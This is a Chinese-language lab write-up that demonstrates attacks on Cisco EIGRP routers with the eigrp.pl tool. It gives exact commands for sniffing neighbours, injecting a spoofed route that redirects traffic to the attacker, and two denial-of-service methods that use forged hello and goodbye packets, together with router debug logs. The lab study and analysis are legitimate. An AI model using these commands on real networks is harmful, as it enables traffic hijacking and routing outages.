我们已经将动态路由协议运行成eigrp,并且收敛完毕。
这里,需要一个采用perl脚本工具来完成这次试验,具体文件附件中可以下载。我们同样采用ubuntu作为攻击平台。
获得eigrp-tools.pl,解开至任意目录,可以看到非常简单的文件:
-rwxrwxrwx 1 sc sc 1120 2005-12-19 06:58 eigrp.conf
-rwxrwxrwx 1 sc sc 36259 2005-12-19 06:58 eigrp.pl
-rwxrwxrwx 1 sc sc 1004 2005-12-19 07:00 MINI-README
这里说明下,.pl是主要的攻击脚本,.conf是为了方便使用者,可以用配置文件的方式把参数预设好,一旦pl指令中没有输入这些参数,将从该配置文件读取。
一、检查perl脚本环境拿到脚本或源码,向来是不指望一次成功的,先看看缺什么。
[email=1root@sc-desktop:%7E/eigrp-tools]root@sc-desktop:~/eigrp-tools[/email]# perl eigrp.pl
Can’tlocate Net/RawIp.pm in @INC (@INC contains: /etc/perl/usr/local/lib/perl/5.10.0 /usr/local/share/perl/5.10.0 /usr/lib/perl5/usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10/usr/local/lib/site_perl .) at eigrp.pl line 9.
BEGIN failed–compilation aborted at eigrp.pl line 9.
这里提下解决问题的思路,外事问google,内事问狗狗,这是外事,我们求助google。
任何问题(除了你未来的老婆叫什么……貌似这个现在也有很多算命网站可以测)基本都有答案,所以路在嘴上这句话没错,关键在于怎么搜索;在我看来,递归的查询方式是最有效的,我们以此例为证。
不用假设,我也是个perl盲,在这次试验中,我仅仅是想使用这个perl脚本做网络攻击测试,而非去研究perl本身,所以要抓住主要矛盾。
1、首先我们搜索这句”Can’t locate Net/RawIp.pm in”,先看看有没有直接的解决办法,结果得到的信息非常零碎,有人在问同样的问题,但是提供的解答都是请安装模块。
2、接下来转变方向,搜索”perl install modular”,这下很多了,如何安装有非常详细的教程。这里,我们不去看完整的教程,只需找google结果中相应的实例。我找到了一条只有几句话的结果,其中提到了cpan。
3、立刻在bash下尝试cpan,得到了cpan[1]>提示符,根据自觉,应该是进入到了某种模式界面,类似与mysql>;help一下,看到了install字样。
4、立刻尝试:
cpan[5]> install rawip
Warning: Cannot install rawip, don’t know what it is.
Try the command
i /rawip/
to find objects with matching identifiers.
5、很好,虽然它不懂我要干什么,但是有提示了,显然是不知道名字吧,那我们照着提示做:
cpan[6]> i /rawip/
Distribution SAPER/Net-RawIP-0.25.tar.gz
Module Net::RawIP (SAPER/Net-RawIP-0.25.tar.gz)
Module Net::RawIP::ethhdr (SAPER/Net-RawIP-0.25.tar.gz)
Module Net::RawIP::generichdr (SAPER/Net-RawIP-0.25.tar.gz)
Module Net::RawIP::icmphdr (SAPER/Net-RawIP-0.25.tar.gz)
Module Net::RawIP::iphdr (SAPER/Net-RawIP-0.25.tar.gz)
Module Net::RawIP:
pt (SAPER/Net-RawIP-0.25.tar.gz)
Module Net::RawIP::tcphdr (SAPER/Net-RawIP-0.25.tar.gz)
Module Net::RawIP::udphdr (SAPER/Net-RawIP-0.25.tar.gz)
9 items found
6、原来是我没有入乡随俗,我们要客随主便:
cpan[7]> install Net::RawIP
Running install for module ‘Net::RawIP’
CPAN: Data:
umper loaded ok (v2.121_14)
‘YAML’ not installed, falling back to Data:
umper and Storable to read prefs ‘/root/.cpan/prefs’
Running make for S/SA/SAPER/Net-RawIP-0.25.tar.gz
CPAN: LWP::UserAgent loaded ok (v5.810)
I would like to connect to .e of the following sites to get ‘authors/id/S/SA/SAPER/Net-RawIP-0.25.tar.gz’:
[url]http://www.perl.org/CPAN/[/url]
[url]ftp://ftp.perl.org/pub/CPAN/[/url]
Is it OK to try to connect to the Internet? [yes]
Fetching with LWP:
[url]http://www.perl.org/CPAN/authors/id/S/SA/SAPER/Net-RawIP-0.25.tar.gz[/url]
CPAN: Digest::SHA loaded ok (v5.45)
Checksum for /root/.cpan/sources/authors/id/S/SA/SAPER/Net-RawIP-0.25.tar.gz ok
Scanning cache /root/.cpan/build for sizes
………………………..(省略)…………………………………..
CPAN: File::Temp loaded ok (v0.18)
Warning (usually harmless): ‘YAML’ not installed, will not store persistent state
CPAN.pm: Going to build S/SA/SAPER/Net-RawIP-0.25.tar.gz
Compiler: cc
cc (Ubuntu 4.3.2-1ubuntu11) 4.3.2
Copyright © 2008 Free Software Foundation, Inc.
本程序是自由软件;请参看源代码的版权声明。本软件没有任何担保;
包括没有适销性和某一专用目的下的适用性担保。
Could not load the pcap library. Please see the README file . how
to install it. Be sure to also install the C headers (pcap.h).
Warning: No success . command[/usr/bin/perl Makefile.PL INSTALLDIRS=site]
Warning (usually harmless): ‘YAML’ not installed, will not store persistent state
SAPER/Net-RawIP-0.25.tar.gz
/usr/bin/perl Makefile.PL INSTALLDIRS=site — NOT OK
Running make test
Make had some problems, won’t test
Running make install
Make had some problems, won’t install
Could not read ‘/root/.cpan/build/Net-RawIP-0.25-Yx2FXb/META.yml’. Falling back to other methods to determine prerequisites
Failed during this command:
SAPER/Net-RawIP-0.25.tar.gz : writemakefile NO ‘/usr/bin/perl Makefile.PL INSTALLDIRS=site’returned status 512
没有安装成功,但是它告知了问题,一个是YAML没有装,另一个是缺pcap.h;凭直觉,后者应该是系统的包。
7、先解决YAML:
cpan[11]> install YAML
Running install for module ‘YAML’
‘YAML’ not installed, falling back to Data::Dumper and Storable to read prefs ‘/root/.cpan/prefs’
Running make for I/IN/INGY/YAML-0.68.tar.gz
Fetching with LWP:
[url]http://www.perl.org/CPAN/authors/id/I/IN/INGY/YAML-0.68.tar.gz[/url]
Fetching with LWP:
[url]http://www.perl.org/CPAN/authors/id/I/IN/INGY/CHECKSUMS[/url]
Checksum for /root/.cpan/sources/authors/id/I/IN/INGY/YAML-0.68.tar.gz ok
………………………………………………………………….DONE
Found 1 old build, restored the state of 1
顺利安装成功。
8、接下来再搜pcap.h,可以看到需要安装libpcap的dev包。其实这里有个捷径,因为我们之前已经下载了”/root/.cpan/sources/authors/id/S/SA/SAPER/Net-RawIP-0.25.tar.gz”,可以进这个包看里面的readme,也会提到安装pcap.h的问题。这里apt-get install libpcap0.8-dev即可。
9、这次再install Net::RawIP成功了。再次运行eigrp脚本,报缺NetPacket/Ethernet.pm,用同样的方式查询后安装,顺利完成。
采用这种思路解决问题,速度较快,但是缺点也很明显,街头篮球,完整的知识体系较为欠缺,没有对perl产生完整的概念。
现在,环境准备完毕了,可以看下这个脚本的强大参数:
[email=root@sc-desktop:%7E/eigrp-tools]root@sc-desktop:~/eigrp-tools[/email]# perl eigrp.pl
Using config file eigrp.conf…
eigrp.pl, , V 0.1
This program was originally created for the book “Hacking Exposed: Cisco Networks”
Authors Janis Vizulis, Arhont Ltd. (License GPL-2 ) Please send bugs and comments
to info[dot]arhont.com
usage: eigrp.pl [--sniff] [ --iface=inteterface ] [--timeout=i]
Options:
–sniff Sniff eigrp packets
–iface Listen . an interface
–iflist List all available network interfaces
–source Source IP address
–dest Packet destination IP. Default multicast IP – 224.0.0.10
–timeout=n pcap init timeout (500 default)
–hello Send EIGRP HELLO
–update Update route
–query Send [Query] (Unreachable destination )
–external External route
–internal Internal route
–ipgoodbye=s IP to [Goodbye message] Authentification replay not implemented
–file2ip=s Send raw sniffed eigrp data from file to IP
–payback Sniff the UPDATE packet, change [Delay] and send it back (PoC)
–op=n EIGRP opcode number to trigger, capture a packet defined by the trigger .to a disk
–sn=n EIGRP sequence number to trigger
–auth Authentication data for the reply atack (copy past hex from sniff)
–opcode Custom opcode for hello packets fuzzing
–flags=n EIGRP flags (0,1 or 2)
–version=n EIGRP version [8 bit integer] Default = 2
–as=n Autonomous system number, Default = 1
–k1=n Metric K1 Default 1
–k2=n Mertic K2 Default 0
–k3=n Mertic K3 Default 1
–k4=n Mertic K4 Default 0
–k5=n Mertic K4 Default 0
–mtu=n MTU
–nms=n Add NMS (Next multicast message) to Hello packet
–eigrpv=s EIGRP release version
–ios=s IOS version
–hopcount=n Hop count
–reliability=n Reliability
–load=n Load
–delay=n Delay
–sequence=n Sequence (32bit sequence) Default = 0
–ack=n Acknowledge (32bit sequence) Default = 0
–nexthop=s Next Hop
–bandwidth=n Bandwidth
–routedest=s Route destination
–origrouter=s Originating router
–origas=n Originating Autonomous system number
–arbitatag=n Arbitrary tag
–metric=n protocol metric (external EIGRP metric for the external updates)
–extproto=n External protocol ID IGRP(1) EIGRP(2) Static Route(3) RIP(4)
HELLO(5) OSPF(6) IS_IS(7) EGP(8) BGP(9) IDRP(10) Connected link(11)
–hold=n Hold time in seconds
–hellotime=n Hello send retries timeout . Default = 5 sec
–hellodos=s IP subnet. Warning! Nasty DOS atack ! Send HELLO EIGRP Argument from IP range.
–retries=n Packet send retries Default = 1;
Example :
./eigrp.pl –sniff –iface eth0
./eigrp.pl –ipgoodbye 192.168.66.202 –source 192.168.7.8
./eigrp.pl –file2ip update.dat –source 192.168.7.8
./eigrp.pl –update –external –as 65534 –source 192.168.7.8
./eigrp.pl –hello –auth 00020010000000020000000000000000000000000efe07403446c77a9697fe5753f79e52
–source 192.168.77.8 –nms 1
./eigrp.pl –help This message
[email=root@sc-desktop:%7E/eigrp-tools]root@sc-desktop:~/eigrp-tools[/email]#
二、探测周边环境利用脚本中的嗅探功能,检查一下周围的环境,如果是在陌生环境中,可以借此了解拓扑信息。
[email=root@sc-desktop:%7E/eigrp-tools]root@sc-desktop:~/eigrp-tools[/email]# ./eigrp.pl –sniff –iface eth0
Using config file eigrp.conf…
./eigrp.pl, , V 0.1
Use of uninitialized value in subroutine entry at /usr/local/lib/perl/5.10.0/Net/RawIP.pm line 640.
Link Offset: 14..
Sniffing interface: eth0
***************************************************************
Source MAC:c2040d400000 Dest MAC:01005e00000a
Source IP: 192.168.1.249 Dest IP:224.0.0.10
****************************************************************
HexDump (high nybble first):
02 05 ee cb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 0c 01
00 01 00 00 00 00 0f 00 04 00 08 0c 04 01 02
Version: 2
Opcode:05 <Hello/Ack>
Checksum: 0xeecb <* Correct *>
Flags: 0 Sequnce :0
Acknowledge: 0
Autonomus system number: 1
<<<EIGRP Parameters: 0001 >>>
Size: 12
K1: 1 K2: 0 K3: 1 K4: 0 K5: 0,
Reserved: 0 Hold Time: 15
<<<Software Version 0004 >>>
Size: 8
IOS version: 12.4
EIGRP version 1.2
***************************************************************
Source MAC:c2030d400000 Dest MAC:01005e00000a
Source IP: 192.168.1.251 Dest IP:224.0.0.10
****************************************************************
HexDump (high nybble first):
02 05 ee cb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 0c 01
00 01 00 00 00 00 0f 00 04 00 08 0c 04 01 02
Version: 2
Opcode:05 <Hello/Ack>
Checksum: 0xeecb <* Correct *>
Flags: 0 Sequnce :0
Acknowledge: 0
Autonomus system number: 1
<<<EIGRP Parameters: 0001 >>>
Size: 12
K1: 1 K2: 0 K3: 1 K4: 0 K5: 0,
Reserved: 0 Hold Time: 15
<<<Software Version 0004 >>>
Size: 8
IOS version: 12.4
EIGRP version 1.2
我们可以看到网内的两台eigrp路由器,eigrp版本,ios版本;
水煮豆豆注:这里要特别提下K值的问题,很多学习过eigrp的人对K值不甚理解,cisco花了很大的力气设计出5个值,却又建议用户不要随便修改。其实我们可以简单的这样理解,K值作为一个高阶用户参数的存在,是为了提供更大的网络设计灵活性,调整5个参数可以方便的在延时和稳定性方面做出选择,究竟是要更稳定还是要更小的延时。仅此而已。
现在,我们的攻击方和被攻击的路由器都准备好了,可以开始进行实验。
三、插入恶意路由首先来回顾下eigrp的特性,eigrp在设计DUAL算法时,为了最大限度的节省动态路由占用网络的带宽,不采用链路状态协议的实时更新算法,即定期告知周知路由信息,而是采用触发更新的方式,在本机路由遭到变化时,仅将变化的路由通告,也就是指,在邻居hello信息存活的情况下,我们的R0将始终保持住攻击方压入他的一条恶意路由,直到R1的hello出现问题,才重新协商。
1、我们首先看下正常情况下两机路由:
R0#sh ip route
Gateway of last resort is not set
D 172.16.0.0/16 [90/307200] via 192.168.1.249, 20:55:19, FastEthernet0/0
C 192.168.1.0/24 is directly connected, FastEthernet0/0
R1#sh ip route
Gateway of last resort is not set
172.16.0.0/16 is variably subnetted, 2 subnets, 2 masks
C 172.16.0.0/24 is directly connected, FastEthernet0/1
D 172.16.0.0/16 is a summary, 21:14:43, Null0
C 192.168.1.0/24 is directly connected, FastEthernet0/0
R0收到R1的一条通告,因为R1上有直连的172.16网络。
2、接下来攻击方发送恶意路由信息:
./eigrp.pl –update –internal –source 192.168.1.249 –routedest 172.16.0.0/16 –nexthop 192.168.1.36
这里,update表示发送更新,internal表示插入标记为eigrp内部的路由通告,source伪造发送更新的路由器,routedest要插入的路由,nexthop插入路由的下一条地址。
水煮豆豆注:要非常注意的一个问题:攻击方采用的perl脚本环境里面的RawIP.pm有个严谨的网络地址检测机制,即网络设置中,主机地址和网关不在一个掩码内,或者不存在网关,都将导致错误如下:
首先看下效果:
嗅探发送的出的恶意路由数据:
***************************************************************
Source MAC:000c29c57e29 Dest MAC:01005e00000a
Source IP: 192.168.1.249 Dest IP:224.0.0.10
****************************************************************
HexDump (high nybble first):
02 01 01 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 01 02 00 1c c0
a8 01 24 00 00 2e e0 00 00 01 00 00 05 ea 01 ff 01 00 00 10 ac 10 00
Version: 2
Opcode:01 <Update>
Checksum: 0×17e <* Correct *>
Flags: 0 Sequnce :0
Acknowledge: 0
Autonomus system number: 1
<<<IP internal route: 0102 >>>
Size: 28
Next hop: 192.168.1.36
Delay: 12000 Bandwidth: 256
MTU: 1514 Hop count: 1
Reliability:255 Load: 1
Reserved 0
Prefix Length: 16
Destination: 172.16.0.
恶意路由发送出的是一条eigrp update数据。
然后检查路由器R0:
R0#sh ip route
Gateway of last resort is 192.168.1.36 to network 0.0.0.0
D 172.16.0.0/16 [90/293600] via 192.168.1.36, 00:00:17, FastEthernet0/0
C 192.168.1.0/24 is directly connected, FastEthernet0/0
D* 0.0.0.0/0 [90/319200] via 192.168.1.36, 00:00:17, FastEthernet0/0
我们看到原本指向249的路由现在指向了36。即我们的攻击方,R0现在将172.16网段的数据发向我们了。
在249这个邻居保持在线的前提下,R0将始终保持这条路由直到邻居失效。
现在问题来了,作为一个内部插入路由,为什么出现了一条指向36的默认路由??
引申研究:为什么会多插入默认路由?我们对比下正常的来自R1的更新数据:
***************************************************************
Source MAC:c2040d400000 Dest MAC:01005e00000a
Source IP: 192.168.1.249 Dest IP:224.0.0.10
****************************************************************
HexDump (high nybble first):
02 01 b4 ac 00 00 00 0a 00 00 00 72 00 00 00 00 00 00 00 01 01 02 00 1b 00
00 00 00 00 00 64 00 00 03 e8 00 00 05 dc 00 ff 01 00 00 10 ac 10
Version: 2
Opcode:01 <Update>
Checksum: 0xb4ac <* Correct *>
Flags: 10 Sequnce :114
Acknowledge: 0
Autonomus system number: 1
<<<IP internal route: 0102 >>>
Size: 27
Next hop: 0.0.0.0
Delay: 25600 Bandwidth: 256000
MTU: 1500 Hop count: 0
Reliability:255 Load: 1
Reserved 0
Prefix Length: 16
Destination: 172.16..
貌似正常的更新和我们伪造的更新相比差别就在此处,那为什么这个差别会造成,正常的更新没有插入默认路由,而伪造的却插入了呢?我们将伪造的nexthop地址也做修改:
./eigrp.pl –update –internal –source 192.168.1.249 –routedest 172.16.0.0/16 –nexthop 0.0.0.0
在修改nexthop参数的情况下,结果变成:
D 172.16.0.0/16 [90/293600] via 192.168.1.249, 00:00:02, FastEthernet0/0
C 192.168.1.0/24 is directly connected, FastEthernet0/0
D* 0.0.0.0/0 [90/319200] via 192.168.1.249, 00:00:02, FastEthernet0/0
可以看到默认路由仍然存在,但是指向的源由36变成了249,研判在0.0.0.0和192.168.1.36;192.168.1.249的比较中,默认采用了最大地址的算法?
四、攻击eigrp方式一对于这个话题,著名的设备黑客FX曾经很早就做过一次dos演示,但是没有公开技术细节。我们从改脚本的幕后信息了解到,核心思想是从多个伪造的源IP向eigrp路由器泛洪hello数据,导致目标路由器开始搜索这些新邻居,引发arp风暴。最终导致网络和设备宕机。
我们来进行下测试:
./eigrp.pl –hellodos 192.168.1.0 –source 192.168.1.249
解释一下,hellodos参数为伪造源的网段,source的意思就是伪造hello的源地址。
屏幕开始翻滚,从192.168.1.1开始顺序递增,我们看下路由器的反应:
R0#
*Mar 3 04:49:36.670:%DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.249(FastEthernet0/0) is down: Remote peer static/dynamic
*Mar 3 04:49:38.178: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.249 (FastEthernet0/0) is up: new adjacency
R1#
*Mar 3 04:49:36.166:%DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.251(FastEthernet0/0) is down: Interface Goodbye received
*Mar 3 04:49:37.762: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.251 (FastEthernet0/0) is up: new adjacency
可以看出,攻击数据发出后,R1首先得到R0挂掉的消息(Goodbye,这个cisco设计的有意思,路由器成了人语者,呵呵),其实它的官方术语叫妥善关闭。这是cisco为了将eigrp设计为快速收敛的网络而煞费苦心创建的,理由是为了避免要等待计时器超时,任何eigrp进程在关闭时都将广播一条goodbye,告知其他设备你们不用等了。问题是,这个网络里面什么东西触发了251,也就是R0发送了goodbye?真的是arp的dos么?
1、攻击脚本干了什么?在36出来的路上抓包看看:
我们在pl脚本运行后,发现网内出现了大量的arp包,仔细观察,查询的目标地址在192.168.1.0/24循环,循环三次后递增到下一个C类。可以非常明确的看出,攻击源在查询网内的目标的mac地址!好,问题也就出来了,按照常规,我们对DoS的理解,是伪造不同的源地址对某个或某几个特定的目标进行轰炸,而非单一源对整个网段的攻击。因此,可以肯定的是,这个脚本参数的真正原理绝非是泛洪式的拒绝服务,而是针对目标发送了相应的数据包导致路由器宕机的。果不其然,在反复测试几次后,R0都规律性的瞬间宕机,而非慢慢的资源耗尽的宕机,可见是不正常的数据包所致。
那么攻击脚本在网内查询到R0和R1的地址后又做了什么呢?抓包分析:
可以看到,真正的eigrp组播都已红色表示,黑色的是icmp的不可达返回,浅黄色的就是脚本的攻击包了。也就是说,其实脚本发出的包总共就两个,因为网内就这两个地址可以arp解析到。
按照时间顺序,我们来梳理下过程(已在路由上打开debug ip eigrp、debug ip pack、debug ei fsm、debug ei pack;时钟已同步):
1、首先,网内只有正常的hello邻居保持协商:
R0
Feb 1 07:02:28.057: IP: s=192.168.1.251 (local), d=224.0.0.10 (FastEthernet0/0), len 60, sending broad/multicast
Feb 1 07:02:28.061: EIGRP: Sending HELLO . FastEthernet0/0
Feb 1 07:02:28.061: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0
Feb 1 07:02:29.648: IP: s=192.168.1.249 (FastEthernet0/0), d=224.0.0.10, len 60, rcvd 2
Feb 1 07:02:29.656: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.249
Feb 1 07:02:29.660: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
R1
Feb 1 07:02:28.066: IP: s=192.168.1.251 (FastEthernet0/0), d=224.0.0.10, len 60, rcvd 2
Feb 1 07:02:28.074: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.251
Feb 1 07:02:28.078: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
Feb 1 07:02:29.590: IP: s=192.168.1.249 (local), d=224.0.0.10 (FastEthernet0/0), len 60, sending broad/multicast
Feb 1 07:02:29.594: EIGRP: Sending HELLO . FastEthernet0/0
Feb 1 07:02:29.594: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0
我们先看看正常的hello包:
2、紧接着,脚本送出了第一个249到249的包:
完全正常的格式,和路由器发出的hello包没什么不同,唯一的区别就是目的地址不再是组播224.0.0.10,而是一个实际的地址。
那么249收到后如何反应?
R1
Feb 1 07:02:45.562: IP: tableid=0, s=192.168.1.249 (FastEthernet0/0), d=192.168.1.249 (FastEthernet0/0), routed via RIB
Feb 1 07:02:45.562: IP: s=192.168.1.249 (FastEthernet0/0), d=192.168.1.249 (FastEthernet0/0), len 60, rcvd 3
Feb 1 07:02:45.566: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.249
Feb 1 07:02:45.566: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0
Feb 1 07:02:45.566: EIGRP: Packet from ourselves ignored
R1处理了这个包,并且忽略了它;这里说明了两个问题,首先是eigrp设计为能够处理单播的hello数据;其次这个包并不是引发路由器问题的原因。
3、随后,脚本又送出了一个249到251的包。
看看R0如何反应的?
R0
Feb 1 07:02:45.840:%DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.249(FastEthernet0/0) is down: Remote peer static/dynamic
Feb 1 07:02:45.840: DUAL: linkdown: start – 192.168.1.249 via FastEthernet0/0
Feb 1 07:02:45.848: DUAL: Destination 192.168.0.0/16
Feb 1 07:02:45.848: DUAL: Destination 172.16.0.0/16
Feb 1 07:02:45.848: DUAL: Find FS for dest 172.16.0.0/16. FD is 307200, RD is 307200
Feb 1 07:02:45.848: DUAL: 192.168.1.249 metric 4294967295/4294967295 not found Dmin is 4294967295
Feb 1 07:02:45.848: DUAL: Peer total 0 stub 0 template 0
Feb 1 07:02:45.848: DUAL: Dest 172.16.0.0/16 (No peers) not entering active state.
Feb 1 07:02:45.852: DUAL: Removing dest 172.16.0.0/16, nexthop 192.168.1.249, infosource 192.168.1.249
Feb 1 07:02:45.856: DUAL: No routes. Flushing dest 172.16.0.0/16
Feb 1 07:02:45.864: DUAL: linkdown: finish
……后面就开始重新协商
那么接下来R1在干什么?
R1
Feb 1 07:02:46.062: Inteface goodbye received
Feb 1 07:02:46.062: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor192.168.1.251 (FastEthernet0/0) is down: Interface Goodbye received
Feb 1 07:02:46.062: DUAL: linkdown: start – 192.168.1.251 via FastEthernet0/0
Feb 1 07:02:46.062: DUAL: Destination 192.168.0.0/16
Feb 1 07:02:46.062: DUAL: Destination 172.16.0.0/16
Feb 1 07:02:46.062: DUAL: Destination 172.16.0.0/24
Feb 1 07:02:46.066: DUAL: linkdown: finish
……后面就开始重新协商
看起来好像是R1收到了R0的goodbye了,抓包为证:
果不其然。
4、分析:
目前为止看起来,应当是R0也就是251在收到一条249->251的hello信息后,直接判断为目标down,理由是Remote peer static/dynamic,随后马上中止了路由选择;紧接着向R0发送goodbye,迫使R1也终止了路由选择。
由于小家子气的cisco没有公布eigrp的细节,我们不得而知究竟eigrp对对端稳定性的判断标准是什么,但是可以肯定的是,这个脚本是通过仅仅这么一个数据包引起了eigrp的重新收敛。
这时有人会提出问题了,你怎么就知道是249->251的这个数据包而非249->249这个数据包引发的致瘫呢?因为也有可能是R0收到249->249的包,虽然报告了ignored,但是已经触发了不正常的数据,而导致R1做出了目标down的判断?
我也有一样的疑问,所幸的是,这个攻击脚本具备一个说明里没提到的参数,就是指定网络范围,我们下面将攻击起始地址往上抬,从250开始,这样就不会发出249的包,也就可以验证问题了。
./eigrp.pl –hellodos 192.168.1.250 –source 192.168.1.249
现象一摸一样。我们将debug信息完整贴上:
R0
Feb 1 07:32:18.353: IP: s=192.168.1.249 (FastEthernet0/0), d=224.0.0.10, len 60, rcvd 2
Feb 1 07:32:18.365: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.249
Feb 1 07:32:18.369: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
Feb 1 07:32:18.509: IP: tableid=0, s=192.168.1.249 (FastEthernet0/0), d=192.168.1.251 (FastEthernet0/0), routed via RIB
Feb 1 07:32:18.513: IP: s=192.168.1.249 (FastEthernet0/0), d=192.168.1.251 (FastEthernet0/0), len 60, rcvd 3
Feb 1 07:32:18.525: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.249
Feb 1 07:32:18.529: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
Feb 1 07:32:18.533: IP: s=192.168.1.251 (local), d=224.0.0.10 (FastEthernet0/0), len 60, sending broad/multicast
Feb 1 07:32:18.537: EIGRP: Sending HELLO . FastEthernet0/0
Feb 1 07:32:18.541: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0
Feb 1 07:32:18.541: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor192.168.1.249 (FastEthernet0/0) is down: Remote peer static/dynamic
Feb 1 07:32:18.545: DUAL: linkdown: start – 192.168.1.249 via FastEthernet0/0
Feb 1 07:32:18.553: DUAL: Destination 192.168.0.0/16
Feb 1 07:32:18.561: DUAL: Destination 172.16.0.0/16
Feb 1 07:32:18.561: DUAL: Find FS for dest 172.16.0.0/16. FD is 307200, RD is 307200
Feb 1 07:32:18.565: DUAL: 192.168.1.249 metric 4294967295/4294967295 not found Dmin is 4294967295
Feb 1 07:32:18.569: DUAL: Peer total 0 stub 0 template 0
Feb 1 07:32:18.569: DUAL: Dest 172.16.0.0/16 (No peers) not entering active state.
Feb 1 07:32:18.573: DUAL: Removing dest 172.16.0.0/16, nexthop 192.168.1.249, infosource 192.168.1.249
Feb 1 07:32:18.577: DUAL: No routes. Flushing dest 172.16.0.0/16
Feb 1 07:32:18.585: DUAL: linkdown: finish
R1
Feb 1 07:32:18.393: IP: s=192.168.1.249 (local), d=224.0.0.10 (FastEthernet0/0), len 60, sending broad/multicast
Feb 1 07:32:18.397: EIGRP: Sending HELLO . FastEthernet0/0
Feb 1 07:32:18.401: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0
Feb 1 07:32:18.917: IP: s=192.168.1.251 (FastEthernet0/0), d=224.0.0.10, len 60, rcvd 2
Feb 1 07:32:18.925: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.251
Feb 1 07:32:18.925: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
Feb 1 07:32:18.925: Inteface goodbye received
Feb 1 07:32:18.925: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor192.168.1.251 (FastEthernet0/0) is down: Interface Goodbye received
Feb 1 07:32:18.925: DUAL: linkdown: start – 192.168.1.251 via FastEthernet0/0
Feb 1 07:32:18.925: DUAL: Destination 192.168.0.0/16
Feb 1 07:32:18.925: DUAL: Destination 172.16.0.0/16
Feb 1 07:32:18.925: DUAL: Destination 172.16.0.0/24
Feb 1 07:32:18.925: DUAL: linkdown: finish
然而目前我们的判断是背后真正的原因么??
五、攻击eigrp方式二1、现在我们来尝试这个脚本的第二个参数,ipgoodbye;
./eigrp.pl –ipgoodbye 192.168.1.251 –source 192.168.1.249
嗯?路由器没反应?
这个脚本发出的包貌似有问题;我们来看看:
2、原来是opcaode的值不对,我们来修改下opcode的值。(水煮豆豆注:opcode意为Operation code indicating the message type: 1 Update. 2Reserved. 3 Query. 4 Hello. 5IPX-SAP,这里不知道为什么和现实中得到的不一致,网上很多人抓eigrp包时,opcode为5也是hello的包)
./eigrp.pl –ipgoodbye 192.168.1.251 –source 192.168.1.249 –opcode=5
成功了,又开始重新收敛了,赶紧看看数据:
很好,没有出现unknown。注意哦,现在脚本发出来的包符合组播的地址了,不再是单播指向251的哦!这里看看里面有什么:
和正常的hello包相比,仅仅是屁股后面多了一截,然后IOS的版本不一致(这里有点奇怪,我在配置文件里已经改成12.4,且在攻击方法一里测试发出的包也是12.4的,这里却怎么都是12.3,看来这里发出的数据并没有读取配置文件中的值);看看两个路由器都反应了什么信息:
R0
Feb 1 08:10:28.298: EIGRP: Received Goodbye TLV from 192.168.1.249
Feb 1 08:10:28.298: 192.168.1.251
Feb 1 08:10:28.302: address matched
Feb 1 08:10:28.302: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.249 (FastEthernet0/0) is down: Peer goodbye received
Feb 1 08:10:28.306: DUAL: linkdown: start – 192.168.1.249 via FastEthernet0/0
Feb 1 08:10:28.314: DUAL: Destination 192.168.0.0/16
Feb 1 08:10:28.318: DUAL: Destination 172.16.0.0/16
Feb 1 08:10:28.322: DUAL: Find FS for dest 172.16.0.0/16. FD is 307200, RD is 307200
Feb 1 08:10:28.322: DUAL: 192.168.1.249 metric 4294967295/4294967295 not found Dmin is 4294967295
Feb 1 08:10:28.326: DUAL: Peer total 0 stub 0 template 0
Feb 1 08:10:28.330: DUAL: Dest 172.16.0.0/16 (No peers) not entering active state.
Feb 1 08:10:28.334: DUAL: Removing dest 172.16.0.0/16, nexthop 192.168.1.249, infosource 192.168.1.249
Feb 1 08:10:28.338: DUAL: No routes. Flushing dest 172.16.0.0/16
Feb 1 08:10:28.338: DUAL: linkdown: finish
(R0收到了Goodbye包,并识别同时配合关闭路由选择)
R1
Feb 1 08:10:28.264: IP: s=192.168.1.249 (FastEthernet0/0), d=224.0.0.10, len 69, rcvd 2
Feb 1 08:10:28.272: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.249
Feb 1 08:10:28.276: AS 1, Flags 0×0, Seq 0/0 idbQ 0/0
Feb 1 08:10:28.276: EIGRP: Packet from ourselves ignored
(R1也收到了Goodbye包,忽略)
……
Feb 1 08:10:32.907: IP: tableid=0, s=192.168.1.251 (FastEthernet0/0), d=192.168.1.249 (FastEthernet0/0), routed via RIB
Feb 1 08:10:32.907: IP: s=192.168.1.251 (FastEthernet0/0), d=192.168.1.249 (FastEthernet0/0), len 40, rcvd 3
